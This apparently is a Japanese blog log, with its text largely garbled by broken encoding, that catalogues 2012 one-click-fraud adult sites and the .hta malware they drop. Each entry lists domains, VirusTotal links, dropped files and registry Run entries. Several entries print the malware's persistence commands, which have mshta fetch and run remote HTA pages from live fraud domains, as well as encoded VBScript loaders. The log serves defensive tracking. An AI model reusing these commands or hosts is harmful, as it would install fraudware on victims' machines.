��N��\�f��

�A�_��g�T�C�g

2012-05-02T23:22+09:00

��N��E�F�A�� http://yb6.elevenuse.info/ http://fad.elevenuse.info/ http://eau.elevenuse.info/ http://*.elevenuse.info/ File name�uMediaFiles.hta�v http://virusscan.jotti.org/en/scanresult/d34b6249a92da3eb9255d9d89425f42431c9d94f C:\Documents and Settings\Cerberus\Application Data\Lunascape\vvinMgr.exe C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [HiIisionjBoes] "C:\Documents and Settings\Cerberus\Application Data\Macromedia\jBoes" O4 - HKCU\..\Run: [scorpik40979_447955105] "C:\WINDOWS\system32\mshta" http://8b90.elevenuse.info/ptlbvqt/NRJxcZTOLpqmCQZYglwReQ.htm �ȉ�� ------------------------------------------------------- http://ayo.xlayer.info/ http://bnb.xlayer.info/ http://*.xlayer.info/ File name�uFlvPlayCheck.hta�v https://www.virustotal.com/file/71fa93e71a807971aa8ced17e151629053ced5a2fc25272e6304528edd414dde/analysis/ C:\Documents and Settings\Cerberus\Application Data\Macromedia\TosMsgAgt.exe C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [CmlModel Prolok] "C:\Documents and Settings\Cerberus\Application Data\Lunascape\Prolok" O4 - HKCU\..\Run: [scorpik40979_055682811] "C:\WINDOWS\system32\mshta" http://c03a.xlayer.info/dh/7UIsPjh34JRh2C6xljEhEQ.htm �ȉ�� ------------------------------------------------------ http://wtk.livedot.org/ http://m14.livedot.org/ http://*.livedot.org/ File name�uQuickMovies.hta�v https://www.virustotal.com/file/9262384dd69fb1d54ac32d4448e543a6e3a9ff591e61e49083357497aca8e975/analysis/1335956870/ C:\Documents and Settings\Cerberus\Application Data\Macromedia\vvinMgr.exe C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [UxWORKS pocketKiFi] "C:\Documents and Settings\Cerberus\Application Data\Identities\pocketKiFi" O4 - HKCU\..\Run: [scorpik40979_364856909] "C:\WINDOWS\system32\mshta" http://811a.livedot.org/sfkx3k9/N0B098A9RHZ59kMyNJiKbQ.htm �ȉ�� ----------------------------------------------------- http://aha.zerolabel.info/ http://d68.zerolabel.info/ http://lmy.zerolabel.info/ http://kf6.zerolabel.info/ http://g6j.zerolabel.info/ http://*.zerolabel.info/ File name�uMediaFiles.hta�v https://www.virustotal.com/file/a8447d3b5ae22d77294932cdd33c4b0ef73eaef1b1718789c2e19e7791d4c3d8/analysis/1336134293/ C:\Documents and Settings\Cerberus\Application Data\Adobe\wmMsgSvr.exe C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [scorpik40979_364856909] "C:\WINDOWS\system32\mshta" http://6243.livedot.org/ps4fplzb/adsgJ3DNJBHBU2lhoC0noQ.htm O4 - HKCU\..\Run: [iNink(RedTook)] "C:\Documents and Settings\Cerberus\Application Data\Macromedia\Cakellia" The link place of "Cakellia" "C:\Documents and Settings\Cerberus\Application Data\Adobe\wmMsgSvr.exe" //B //E:VBScript.Encode "C:\Documents and Settings\Cerberus\Application Data\Adobe\Agate910hLNT.dic" Startup on Registory HKCU:Run iNink(RedTook) "C:\Documents and Settings\Cerberus\Application Data\Macromedia\Cakellia" HKCU:Run scorpik40979_055682811 "C:\WINDOWS\system32\mshta" http://00dc.xlayer.info/dnvr/Qmn45W-E5BkJW1WV5VhLEQ.htm HKCU:Run scorpik40979_364856909 "C:\WINDOWS\system32\mshta" http://6243.livedot.org/ps4fplzb/adsgJ3DNJBHBU2lhoC0noQ.htm ------------------------------------------------------ http://a7i.wordunit.info/ http://*.wordunit.info/ File name�uWinMediaPlay.hta�v https://www.virustotal.com/file/65de9c3174e55fbe640f55d78cf9b4b5a996d16470985bc7a9833bbee22f0ed1/analysis/1336137469/ C:\Documents and Settings\Cerberus\Application Data\Macromedia\vvinMgr.exe C:\WINDOWS\system32\mshta.exe C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [SmartMeddapockeqWiFi] "C:\Documents and Settings\Cerberus\Application Data\Identities\pockeqWiFi" O4 - HKCU\..\Run: [scorpik40979_447955105] "C:\WINDOWS\system32\mshta" http://6f3b.elevenuse.info/d89h/OYOGFcsQ7M8QTfdfviGTDg.htm O4 - HKCU\..\Run: [scorpik40979_249753408] "C:\WINDOWS\system32\mshta" http://d329.wordunit.info/sl8c6/a680i2MgSLE~78awyBSGvw.htm The link place of "pockeqWiFi" "C:\Documents and Settings\Cerberus\Application Data\Macromedia\vvinMgr.exe" //B //E:VBScript.Encode "C:\Documents and Settings\Cerberus\Application Data\Lunascape\Malachite511GpL" Startup on Registory HKCU:Run scorpik40979_249753408 "C:\WINDOWS\system32\mshta" http://d329.wordunit.info/sl8c6/a680i2MgSLE~78awyBSGvw.htm HKCU:Run scorpik40979_447955105 "C:\WINDOWS\system32\mshta" http://6f3b.elevenuse.info/d89h/OYOGFcsQ7M8QTfdfviGTDg.htm HKCU:Run SmartMeddapockeqWiFi "C:\Documents and Settings\Cerberus\Application Data\Identities\pockeqWiFi" -------------------------------------------------- http://a7i.wordunit.info/ http://tfl.wordunit.info/ http://*.wordunit.info/ File name�uWinMediaPlay.hta�v Kaspersky Trojan-Downloader.HTA.Agent.ct 20120507 https://www.virustotal.com/file/1ad3733b79bca0bf602614c975d26b804a7bbfbeb9c04e77363e05484d16b2f0/analysis/1336386313/ C:\Documents and Settings\Cerberus\Application Data\Adobe\wmMsgSvr.exe C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [PetrCast(PlqyerPack)] "C:\Documents and Settings\Cerberus\Application Data\Adobe\PlqyerPack" O4 - HKCU\..\Run: [scorpik40979_249753408] "C:\WINDOWS\system32\mshta" http://e6a7.wordunit.info/pau/lXiYXLi6dgmsdKpPpgiKVw.htm �ȉ��

ADULT COLLECTION

2012-04-08T20:16+09:00

��΂�

2012-05-01T22:44+09:00

ADULT COLLECTION�ɊԈႦ�ē���Ă��܂��̂ł��f�X�N�g�b�v�ɏo��̂��̂ł��ǂ��炢��ł��

�A�_��g

2012-04-28T01:37+09:00

�A�_��g�T�C�g�ɂȂ��A�s��̃��b�Z�[�W��f�X�N�g�b�v�ォ��܂��B�ǂ��@��Ă��B

��[�r�[�S�[�S�[

2012-03-29T21:01+09:00

��N��E�F�A�� http://movie-gogo.com/ File name �u��94352005.hta�v https://www.virustotal.com/file/00dab572539cc3060c0ec05a11d6737bccd113be7407a69d2c0ea3bc26c8488d/analysis/1333020623/ C:\Windows\System32\mshta.exe O4 - HKCU\..\Run: [webtecrl] mshta "C:\ProgramData ecrl\26A64AXF.hta" �ȉ��

ADULT

2012-03-25T21:29+09:00

�m�[�}��N�� http://www.mandshurica-movies.com/ ADULT DREAM http://www.tebatto-channel.org/

ADULT COLLECTION

2012-03-24T20:57+09:00

��N��E�F�A�� http://www.tiliquagerrardi-movie.net/ File name �u6f67.hta�v https://www.virustotal.com/file/a8a100cd1d078b5e19bc050f86db22e01449bf43301ef827528d0db7907c1a39/analysis/1332578466/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [www.adult-collection09.net] mshta http://www.tiliquagerrardi-movie.net/regist2.php �ȉ��

MOVIE FIRE

2012-03-21T21:32+09:00

��N��E�F�A�� http://www.mv-fire.net/ File name �ufull54944943.hta�v https://www.virustotal.com/file/87a4c35bab8cf44d94feef99bdd3279393689edcffbd80d63e3e692c0c210170/analysis/1332329323/ C:\Windows\System32\mshta.exe O4 - HKCU\..\Run: [webutjpc] "C:\ProgramData\utjpc\M1866HVS" Startup on Registory HKCU:Run webutjpc "C:\ProgramData\utjpc\M1866HVS"

�p�\�R��̉�ʂ̉摜��

2012-03-23T19:09+09:00

�p�\�R��̉�ʂɃA�_��g�T�C�g�̗L�Q�ȍL��\��t��Ă��̂łȂ�Ƃ��Ă��

�A�_��g�T�C�g

2012-03-07T20:13+09:00

��N��E�F�A�� http://gtr.fasteasy.biz/ http://*.fasteasy.biz/ File name �uMoviePlayer.hta�v https://www.virustotal.com/file/7522488eb83f754647304b127344c0fbc003d1fc200d91ad37aa78be8c7d4481/analysis/1331110356/ C:\Users\Cerberus\AppData\Roaming\Identities\TosMsgAgt.exe C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [EebLogic opneron] "C:\Users\Cerberus\AppData\Roaming\Macromedia\opneron.lnk" O4 - HKCU\..\Run: [uranvs44879_799921408] "C:\Windows\system32\mshta" http://8427.effectlayer.biz/q2n/V5HC~Akaz-1MRcvSNaDz8g.htm �ȉ�� ----------------------------------------------------------- http://6ig.fieldset.info/ http://r2h.fieldset.info/ http://*.fieldset.info/ File name �uFlvMovie.hta�v https://www.virustotal.com/file/e1fb5b7c37f0d5a31a48d0271cebd1830e36f019b1d8486e10802740d6df8e8a/analysis/1331205121/ C:\Users\Creberus\AppData\Roaming\Macromedia\wmMsgSvr.exe C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [UmlModblPhotoScriot] "C:\Users\Creberus\AppData\Roaming\Adobe\PhotoScriot.lnk" O4 - HKCU\..\Run: [Neptsne31538_225019911] "C:\Windows\system32\mshta" http://211a.fieldset.info/qgam4d3a/fOYTzFKelButGqJjBUjiVw.htm �ȉ�� ---------------------------------------------------------- http://gtr.fasteasy.biz/ http://*.fasteasy.biz/ File name �uMoviePlayer.hta�v https://www.virustotal.com/file/9954bc178415081e86d1a8cd739c8d5c3f81a6459dbfbf734f1d2c25cf816900/analysis/1331449240/ C:\Users\Creberus\AppData\Roaming\Adobe\WscMgr.exe C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [RominopocketWmFi] "C:\Users\Creberus\AppData\Roaming\Macromedia\pocketWmFi.lnk" O4 - HKCU\..\Run: [Neptsne31538_225019911] "C:\Windows\system32\mshta" http://6c7b.fieldset.info/sa/XR5TsmZ1iLmD84w6qwwjXw.htm �ȉ�� --------------------------------------------------------- http://kxu.entergate.biz/ http://8sh.entergate.biz/ http://*.entergate.biz/ File name �uFlvMovie.hta�v Kaspersky�@�@Trojan-Downloader.HTA.Agent.cv�@�@20120314 https://www.virustotal.com/file/07a01f62d2c48a5d624404be9e5ddadbdc753ab8b2ae5614ef4e8a5f33aec0de/analysis/1331730394/ C:\Users\Creberus\AppData\Roaming\Adobe\WscMgr.exe C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [MetaIrameQhdQcb] "C:\Users\Creberus\AppData\Roaming\Lunascape\QhdQcb.lnk" O4 - HKCU\..\Run: [Neptsne31538_268966609] "C:\Windows\system32\mshta" http://9bf3.entergate.biz/sob6/uCBa78q14QSE1KZCL0QbsA.htm �ȉ�� ----------------------------------------------------------- http://vjc.nakedplugin.info/ http://a2e.nakedplugin.info/ http://*.nakedplugin.info/ File name �uFlashMoviePlayer.hta�v https://www.virustotal.com/file/3f439853e111ce9572166e658ab6c950709c849dc946d414f66e1f5c39a72833/analysis/1331811056/ C:\Documents and Settings\�˂��\Application Data\Identities\wmMsgSvr.exe C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [QuadCorv(Mozijla)] "C:\Documents and Settings\�˂��\Application Data\Adobe\Mozijla" O4 - HKCU\..\Run: [ncptune28454_441696208] "C:\WINDOWS\system32\mshta" http://f053.nakedplugin.info/pap/aLS-oiC9gZARTIz5784itA.htm �ȉ�� --------------------------------------------------------- http://0ec.smallhungry.com/ http://1g8.smallhungry.com/ http://h3h.smallhungry.com/ http://*.smallhungry.com/ File name �uFlvMovie.hta�v https://www.virustotal.com/file/4e2d70fa54542a7f4506697bd1eb39ec06e9e4aa30930a24a4c760ed3cc96711/analysis/1331981374/ C:\Users\Creberus\AppData\Roaming\Macromedia\WscMgr.exe C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [PeerCasb(Camullia)] "C:\Users\Creberus\AppData\Roaming\Identities\Camullia.lnk" O4 - HKCU\..\Run: [Neptsne31538_268966609] "C:\Windows\system32\mshta" http://dd4e.entergate.biz/acthb7/hWsgIl-8FOKjmXUC4xtxEQ.htm �ȉ��

ADULT COLLECTION

2012-02-26T15:35+09:00

��N��E�F�A�� http://www.aosuziageha-movie.net/ File name �u6f55.hta�v https://www.virustotal.com/file/f2fc49356aa86ccfbdbef57831b4e3607c95438738890f88f7484a6013be3d83/analysis/1330227686/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [www.adult-collection09.net] mshta http://www.aosuziageha-movie.net/regist2.php Startup on Registory HKCU:Run www.adult-collection09.net mshta http://www.aosuziageha-movie.net/regist2.php ----------------------------------------------------------- http://www.itimonzicyou-movie.org/ File name �u5d94.hta�v Kaspersky Trojan-Downloader.HTA.Agent.bu 20120305 https://www.virustotal.com/file/f485937e822f20e450008d302670a67e1e0a331a65f74ecd2f547168b63704d2/analysis/1330946588/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [www.adult-collection09.net] mshta http://www.itimonzicyou-movie.org/regist2.php Startup on Registory HKCU:Run www.adult-collection09.net mshta http://www.itimonzicyou-movie.org/regist2.php

Japanese Movies

2012-02-10T22:35+09:00

��N��E�F�A�� http://gohng.info/ File name �uMovieID_Qf0cZrUoC4xsUHXOdJCqs2BTloRth4iA_vmw.EI_noisreV.hta�v https://www.virustotal.com/file/2e0a6a10e042ddc6ac1c747cc6e1bfd7814ba80964c328cc68930e8f06a781f5/analysis/1328350653/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootSr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteSr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv] C:\Users\Cerberus\SoftRecovery\RegWrite.lnk O4 - HKCU\..\RunOnce: [RegWriteSr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv] C:\Users\Cerberus\SoftRecovery\datSr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv.bat O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://gohng.info/set_inf2.php?cccid=Sr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\mshost.exe http://gohng.info/reg2.php?cccid=Sr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv&log=1 Startup on Registory HKCU:Run RegWriteSr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv C:\Users\Cerberus\SoftRecovery\RegWrite.lnk HKCU:Run SystemBootSr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv C:\Users\Cerberus\UserProfile\SystemBoot.lnk KCU:RunOnce RegWriteSr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv C:\Users\Cerberus\SoftRecovery\datSr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv.bat Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library RegWrite C:\Windows\system32\mshta.exe http://gohng.info/set_inf2.php?cccid=Sr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv SystemBoot C:\Windows\system32\mshta.exe http://gohng.info/reg2.php?cccid=Sr7ThBnnoyLeWJcbWBCSF7fHGFljgBMv -------------------------------------------------------- http://bkoueb.info/ File name �u MovieID_IHU927oSVuYzokXslTUa1POFfoJdJ7Id_vmw.EI_noisreV.hta�v https://www.virustotal.com/file/fb9b445ea057b7da0fef17f4ced7bf9a7cbab964b70d4aebebaf85a0ba6e8901/analysis/1328701905/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootVYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteVYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O] C:\Users\Cerberus\SoftRecovery\RegWrite.lnk O4 - HKCU\..\RunOnce: [RegWriteVYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O] C:\Users\Cerberus\SoftRecovery\datVYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O.bat O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://bkoueb.info/set_inf2.php?cccid=VYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\mshost.exe http://bkoueb.info/reg2.php?cccid=VYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O&log=1 Startup on Registory HKCU:Run RegWriteVYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O C:\Users\Cerberus\SoftRecovery\RegWrite.lnk HKCU:Run SystemBootVYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O C:\Users\Cerberus\UserProfile\SystemBoot.lnk HKCU:RunOnce RegWriteVYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O C:\Users\Cerberus\SoftRecovery\datVYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O.bat Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library�@ C:\Windows\system32\mshta.exe http://bkoueb.info/set_inf2.php?cccid=VYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O C:\Windows\system32\mshta.exe http://bkoueb.info/reg2.php?cccid=VYOOmRkYff4tlRnpLFM35ozQ2v0BPN0O �@ --------------------------------------------------------- http://cernkc.info/ http://d8ni1d.info/ File name �uMovieID_EG9wLZt1PB5uwOtH38Fnn1kPAPvmtZoW_vmw.EI_noisreV.hta�v https://www.virustotal.com/file/d0e1b476a7df82a5353e6bdcdb3c3206e21de4cd687faec2b60455b18d948c66/analysis/1329003562/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootEG9wLZt1PB5uwOtH38Fnn1kPAPvmtZoW] C:\Users\Creberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteEG9wLZt1PB5uwOtH38Fnn1kPAPvmtZoW] C:\Users\Creberus\SoftRecovery\RegWrite.lnk O4 - HKCU\..\RunOnce: [RegWriteEG9wLZt1PB5uwOtH38Fnn1kPAPvmtZoW] C:\Users\Creberus\SoftRecovery\datEG9wLZt1PB5uwOtH38Fnn1kPAPvmtZoW.bat O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe �ȉ��

EROSTAR

2012-01-30T21:58+09:00

��N��E�F�A�� http://qn515q.info/ File name �u MovieID_diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2.hta�v https://www.virustotal.com/file/544a64fe6cec8c723b3c48090b97a156e9f161f1a01b68bd380a315055d4cb8f/analysis/1327915764/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootdiHvYDyYQRvrDubXyHsSW4gHdc0xQYi2] C:\Users\Cerberus\UserProfile\SystemFile.lnk O4 - HKCU\..\Run: [RegWritediHvYDyYQRvrDubXyHsSW4gHdc0xQYi2] C:\Users\Cerberus\SoftRecovery\datdiHvYDyYQRvrDubXyHsSW4gHdc0xQYi2.bat O4 - Startup: RegWriting.lnk = C:\Windows\System32\mshta.exe The link place of "RegWriting" C:\Windows\System32\mshta.exe http://qn515q.info/set_inf2.php?cccid=diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2 The link place of "SystemFile" C:\Users\Cerberus\UserProfile\mshost.exe http://qn515q.info/reg2.php?cccid=diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2&log=1 Startup on Registory HKCU:Run RegWritediHvYDyYQRvrDubXyHsSW4gHdc0xQYi2 C:\Users\Cerberus\SoftRecovery\datdiHvYDyYQRvrDubXyHsSW4gHdc0xQYi2.bat SystemBootdiHvYDyYQRvrDubXyHsSW4gHdc0xQYi2 C:\Users\Cerberus\UserProfile\SystemFile.lnk Startup User RegWriting.lnk C:\Windows\System32\mshta.exe Task Scheduler librar�v RegWriting C:\Windows\system32\mshta.exe http://qn515q.info/set_inf2.php?cccid=diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2 SystemFile C:\Windows\system32\mshta.exe http://qn515q.info/reg2.php?cccid=diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2 ---------------------------------------------------------- http://rrinl58r.info/ File name �uMovieID_6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo.hta�v https://www.virustotal.com/file/abea9c586fc93148dc75b5fdffadfca55e0b18d11615a72b1e926dc54f3b4a2f/analysis/1328011779/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBoot6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo] C:\Users\Cerberus\UserProfile\SystemFile.lnk O4 - HKCU\..\Run: [RegWrite6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo] C:\Users\Cerberus\SoftRecovery\dat6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo.bat O4 - Startup: RegWriting.lnk = C:\Windows\System32\mshta.exe The link place of "RegWriting" C:\Windows\System32\mshta.exe http://erostar.info/set_inf2.php?cccid=6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo The link place of "SystemFile" C:\Users\Cerberus\UserProfile\mshost.exe http://erostar.info/reg2.php?cccid=6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo&log=1 Startup on Registory HKCU:Run RegWrite6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo C:\Users\Cerberus\SoftRecovery\dat6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo.bat HKCU:Run SystemBoot6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo C:\Users\Cerberus\UserProfile\SystemFile.lnk Startup User RegWriting.lnk C:\Windows\System32\mshta.exe Task Scheduler library�@ RegWriting C:\Windows\system32\mshta.exe http://erostar.info/set_inf2.php?cccid=6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo SystemFile C:\Windows\system32\mshta.exe http://erostar.info/reg2.php?cccid=6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo

Japanese Movies

2012-01-22T20:49+09:00

��N��E�F�A�� http://bzin85b.info/ File name �uMovieID_JQwv8ppT2HNiZiFZQb8oWOMyHG6wrjfk.hta�v https://www.virustotal.com/file/f5518919afe6d8743a12667b9e3e79d464f301f464e2f0a8cad18e257e327f94/analysis/1327219800/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC] C:\Users\Cerberus\SoftRecovery\datSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC.bat O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://bzin85b.info/set_inf2.php?cccid=SfoEqUqkOVTh3AUJGGas9sYTin7NN6vC The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\mshost.exe http://bzin85b.info/reg2.php?cccid=SfoEqUqkOVTh3AUJGGas9sYTin7NN6vC&log=1 Startup on Registory HKCU:Run RegWriteSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC C:\Users\Cerberus\SoftRecovery\datSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC.bat HKCU:Run SystemBootSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC C:\Users\Cerberus\UserProfile\SystemBoot.lnk Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library RegWrite C:\Windows\system32\mshta.exe http://bzin85b.info/set_inf2.php?cccid=SfoEqUqkOVTh3AUJGGas9sYTin7NN6vC Task Scheduler library SystemBoot C:\Windows\system32\mshta.exe http://bzin85b.info/reg2.php?cccid=SfoEqUqkOVTh3AUJGGas9sYTin7NN6vC ---------------------------------------------------------- http://ink59di.info/ File name �uMovieID_kNZwPodBZ1pFSGnptoiDF7qMVj2DMUpz.hta�v https://www.virustotal.com/file/daafa3bc00d1e1b2f4d7f2a0fe659ac1aca4d45f087a36f0e230fcb82ce711b2/analysis/1327320142/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootzeb7zjtYnCMSZEU2mfdWr2513angqCQW] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWritezeb7zjtYnCMSZEU2mfdWr2513angqCQW] C:\Users\Cerberus\SoftRecovery\datzeb7zjtYnCMSZEU2mfdWr2513angqCQW.bat O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://ink59di.info/set_inf2.php?cccid=zeb7zjtYnCMSZEU2mfdWr2513angqCQW The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\mshost.exe http://ink59di.info/reg2.php?cccid=zeb7zjtYnCMSZEU2mfdWr2513angqCQW&log=1 Startup on Registory HKCU:Run RegWritezeb7zjtYnCMSZEU2mfdWr2513angqCQW C:\Users\Cerberus\SoftRecovery\datzeb7zjtYnCMSZEU2mfdWr2513angqCQW.bat HKCU:Run SystemBootzeb7zjtYnCMSZEU2mfdWr2513angqCQW C:\Users\Cerberus\UserProfile\SystemBoot.lnk Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library RegWrite C:\Windows\system32\mshta.exe http://ink59di.info/set_inf2.php?cccid=zeb7zjtYnCMSZEU2mfdWr2513angqCQW SystemBoot C:\Windows\system32\mshta.exe http://ink59di.info/reg2.php?cccid=zeb7zjtYnCMSZEU2mfdWr2513angqCQW

�Z�b�N�X��EROS

2012-01-17T21:50+09:00

��N��E�F�A�� http://ero-xx.com/ File name �umovie_load1326801154.hta�v http://r.virscan.org/report/305a26e3e9b7e959049df99042d7e8b5.html C:\Users\Cerberus\AppData\Roaming\Media Center Programs\wmMsgSvr.exe C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [WqbLogic radiuy] "C:\Users\Cerberus\AppData\Roaming\Adobe\radiuy.lnk" O4 - HKCU\..\Run: [granite] C:\WINDOWS\system32\mshta.exe "C:\Documents and Settings\Cerberus\Application Data\granite\granite.hta" The link place of "radiuy" "C:\Users\Cerberus\AppData\Roaming\Media Center Programs\wmMsgSvr.exe" //B //E:VBScript.Encode "C:\Users\Cerberus\AppData\Roaming\Adobe\ChalcedonyeKsD" Startup on Registory HKCU:Run granite C:\WINDOWS\system32\mshta.exe "C:\Documents and Settings\Cerberus\Application Data\granite\granite.hta" HKCU:Run WqbLogic radiuy "C:\Users\Cerberus\AppData\Roaming\Adobe\radiuy.lnk"

WMV

2012-01-08T19:46+09:00

��N��E�F�A�� http://virtuoso.nebulanikki.net/ http://nebulanikki.net/ http://*.nebulanikki.net/ File name �ucandygirl_1325973169.hta�v http://www.virustotal.com/file-scan/report.html?id=5f7846dad30c10f9a9ee8b555307aa48ac999152468bf6c562d575a8dd6c2a49-1325972821 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d] C:\Users\Cerberus\AppData\Roaming\Adobe\breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d.vbs Startup on Registory HKCU:Run breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d C:\Users\Cerberus\AppData\Roaming\Adobe\breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d.vbs Task Scheduler library C:\Users\Cerberus\AppData\Roaming\Adobe\breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d.vbs --------------------------------------------------------- http://upheld.yorkshirejulie.net/ http://yorkshirejulie.net/ http://*.yorkshirejulie.net/ File name �usmsister_1326370947.hta�v http://www.virustotal.com/file-scan/report.html?id=f4b1b53ed6c07a337d65d1c9abde3b967bd5c34274a75ef95637d8567c79616c-1326370534 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2] C:\Users\Cerberus\AppData\Roaming\Identities\odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2.vbs Startup on Registory HKCU:Run odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2 C:\Users\Cerberus\AppData\Roaming\Identities\odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2.vbs Task Scheduler library�@ C:\Users\Cerberus\AppData\Roaming\Identities\odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2.vbs

JPPorn

2012-01-01T23:01+09:00

��N��E�F�A�� http://av-porn.info/ File name �uMovieID_KpUzK5fptCxTWTYXRidhYP5nhatuiC8N.hta�v http://www.virustotal.com/file-scan/report.html?id=f5b31335fefa7d46bab89c6985d7c097eaf8a6b29ac990b5bf63c75e0499a3b6-1325411290 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootKpUzK5fptCxTWTYXRidhYP5nhatuiC8N] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteKpUzK5fptCxTWTYXRidhYP5nhatuiC8N] C:\Users\Cerberus\SoftRecovery\RegWrite.lnk O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://av-porn.info/set_inf2.php?cccid=KpUzK5fptCxTWTYXRidhYP5nhatuiC8N The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\htmlapp.exe http://av-porn.info/reg2.php?cccid=KpUzK5fptCxTWTYXRidhYP5nhatuiC8N Startup on Registory HKCU:Run RegWriteKpUzK5fptCxTWTYXRidhYP5nhatuiC8N C:\Users\Cerberus\SoftRecovery\RegWrite.lnk HKCU:Run SystemBootKpUzK5fptCxTWTYXRidhYP5nhatuiC8N C:\Users\Cerberus\UserProfile\SystemBoot.lnk Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library C:\Windows\system32\mshta.exe 